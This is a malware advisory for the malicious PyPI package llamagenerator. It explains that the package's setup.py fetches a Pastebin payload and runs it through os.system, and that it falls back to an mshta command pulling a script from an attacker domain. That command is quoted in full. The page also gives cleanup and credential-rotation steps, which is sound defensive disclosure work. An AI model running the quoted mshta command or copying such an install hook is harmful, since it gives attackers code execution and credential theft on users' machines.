llamageneratorPyPI
Advisory published Updated
llamagenerator is a confirmed malicious PyPI package (MAL-2026-5771) that steals credentials and exfiltrates sensitive data (malicious version 2.22). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in llamagenerator (PyPI)
What this malware does
The package's setup.py fetches the raw contents of https://pastebin.com/raw/yBcUM1QB during pip install, takes the first line, and passes it directly to os.system('cmd /c "..."'). If the Pastebin fetch fails, it falls back to os.system('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta living-off-the-land binary to download and execute an HTA script from an attacker-controlled domain over plaintext HTTP. Both branches grant the publisher arbitrary code execution on the installer's machine on pip install. The package has no legitimate functionality: PKG-INFO has placeholder metadata (Name/Author/Summary all set to 'LLamaGenerator', no description, no URL), and the src/ tree is empty aside from egg-info. The LLM-themed name appears to be a lure trading on the Llama ecosystem.
During installation, the code attempts to download and start a malicious executable.
Likely related to 2025-08-raknet-testing-package.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-easyaillm
Reasons (based on the campaign):
-
Downloads and executes a remote executable.
-
obfuscation
-
malware
-
tool:mshta
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for llamagenerator (version 2.22).
If you installed it — respond
llamagenerator is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If llamagenerator was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks llamagenerator-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.